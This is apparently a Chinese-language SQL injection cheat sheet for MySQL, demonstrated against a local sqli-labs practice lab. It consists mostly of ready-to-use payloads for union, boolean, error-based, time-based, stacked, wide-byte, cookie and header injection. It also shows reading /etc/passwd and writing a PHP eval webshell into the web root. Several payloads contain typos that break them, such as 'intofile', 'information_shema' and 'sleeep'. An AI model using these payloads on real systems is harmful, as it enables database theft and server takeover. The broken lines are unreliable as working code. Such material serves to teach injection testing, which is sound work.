0x01 MySQL 5.0以上和MySQL 5.0以下版本的區別
MySQL5.0以上版本存在一個叫information_schema的數據庫,它存儲着數據庫的所有信息,其中保存着關於MySQL服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型和訪問權限等。而5.0以下沒有。
information_schema
系統數據庫,記錄當前數據庫的數據庫,表,列,用戶權限信息
SCHEMATA
存儲mysql所有數據庫的基本信息,包括數據庫名,編碼類型路徑等。
查詢數據庫:
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata #
TABLES
存儲mysql中的表信息,包括這個表是基本表還是系統表,數據庫的引擎是什么,表有多少行,創建時間,最后更新時間等。
查詢security庫的表:
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
存儲mysql中表的列信息,包括這個表的所有列以及每個列的信息,該列是表中的第幾列,列的數據類型,列的編碼類型,列的權限,列的注釋等。
查詢users表的列
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
0x02 常用信息及語句
當前用戶:user()
數據庫版本:version()
數據庫名:database()
操作系統:@@version_compile_os
0x03 基本手工注入流程
3.1 獲取字段數
order by n
3.2 獲取系統數據庫名
select 1,2,schema_name from information_schema.schemata
3.3 獲取當前數據庫名
select 1,2,3,database()
3.4 獲取數據庫中的表
select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
或者:
select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
3.5 獲取表中的字段
select 1,2,group_concat(column_name) from information_shema.columns where table_schema=database() and table_name='users'
3.6 獲取各個字段的值
select 1,group_concat(username,password) from users
3.7 讀文件
select load_file('etc/passwd')
-
-
當前權限對該文件可讀
-
文件在該服務器上
-
路徑完整
-
文件大小小於max_allowed_packet
-
當前數據庫用戶有FILE權限
-
secure_file_priv的值為空,如果值為某目錄,那么就只能對該目錄的文件進行操作
-
3.8 寫文件
select '<?php @eval($_POST[c];)?> intofile '/var/www/html/shell.php'
前提條件:
-
-
目標目錄要有可寫權限
-
當前數據庫用戶要有FILE權限
-
目標文件不能已存在
-
secure_file_priv的值為空
-
路徑完整
0x04 常用注入方式
4.1 union注入
union的作用是將兩個sql語句進行聯合。當注入參數的數據在數據庫中不存在時,兩個sql語句進行聯合操作時,前一個語句選擇的內容為空的話,后面語句的查詢內容就可以顯示出來。
比如:
id=-1’ union select 1,2'
4.2 布爾注入
利用邏輯判斷進行
-
-
left(database(), 1) > 's' -
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 --+ -
ascii(substr((select database()), 1,1))=98 -
ord(mid(select infull(cast(username as char), 0x20) from security.users ORDER BY id LIMIT 0,1), 1,1))>98%23Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位 Ord()函數同 ascii(),將字符轉為 ascii 值
-
regexp 正則注入
select user() regexp '^[a-z]' -
like匹配注入
select user() like 'ro%'
-
4.3 報錯注入
構造payload讓信息通過錯誤提示回顯出來,通過 floor、UpdateXml、ExtractValue、NAME_CONST、Error based Double Query Injection等方法。
-
-
floor
union select 1, count(*), concat(0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor(rand(0)*2)) as a from information_schema.columns group by a -
UpdatXml (有長度限制,最長32位)
?id=1 and updatexml(1, concat(0x7e, (select @@version), 0x7e),1) -
ExtractValue (有長度限制,最長32位)
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e)) -
NAME_CONST
?id=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x) -
Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1 -
exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x))) -
polygon
id=1 and polygon((select * from(select * from(select user())a)b))
-
4.4 時間注入
延時注入
?id=1 and if(ascii(substr(database(),1,1))>115, 1, sleep(5))
4.5 堆疊查詢注入
堆疊查詢注入與Union查詢或者Union all查詢的區別在與,后兩者執行的語句是有限的,只能用來執行查詢語句,而堆疊注入可以執行任意語句。
比如:

Oracle不能使用堆疊注入
id = 1';select if(substr(user(),1,1)='r', sleeep(3),1)%23
4.6 二次注入
原理:在第一次進行數據庫插入數據的時候,僅僅只是使用了addslashes或者是借助get_magic_quotes_gpc對其中的特殊字符進行了轉義,但是寫入數據庫時還是保留了原始數據。比如參數的輸入有 ' ,addslashes使用\ 轉義后,\ 不會插入到數據庫中,數據庫仍然保留的是'。
在將數據庫存入到了數據庫中后,開發者就默認數據是可信的,在下一次進行需要查詢時,直接就從數據庫中取出了臟數據,沒有進一步的檢驗和處理,這樣就會造成SQL的二次注入。
4.7 寬字節注入
利用條件:
-
-
查詢參數是被單引號包圍的,傳入的單引號會經過轉義操作
-
數據庫的編碼是GBK
id=-1%df' union select 1, user(),3%23在上述條件下,單引號'被轉義為%5c,所以就構成了%df%5c,而在GBK編碼方式下,%df%5c是一個繁體字“連”,所以單引號成功逃逸。
-
4.8 cookie注入
Cookie: id=1 and 1=1
4.9 base64注入
對參數進行base64編碼,再發送請求
4.10 XFF注入
XFF(X-Forward-For),簡稱XFF頭,它代表客戶端真實的ip地址
X-Forward-For:127.0.0.1' select 1,2,user()
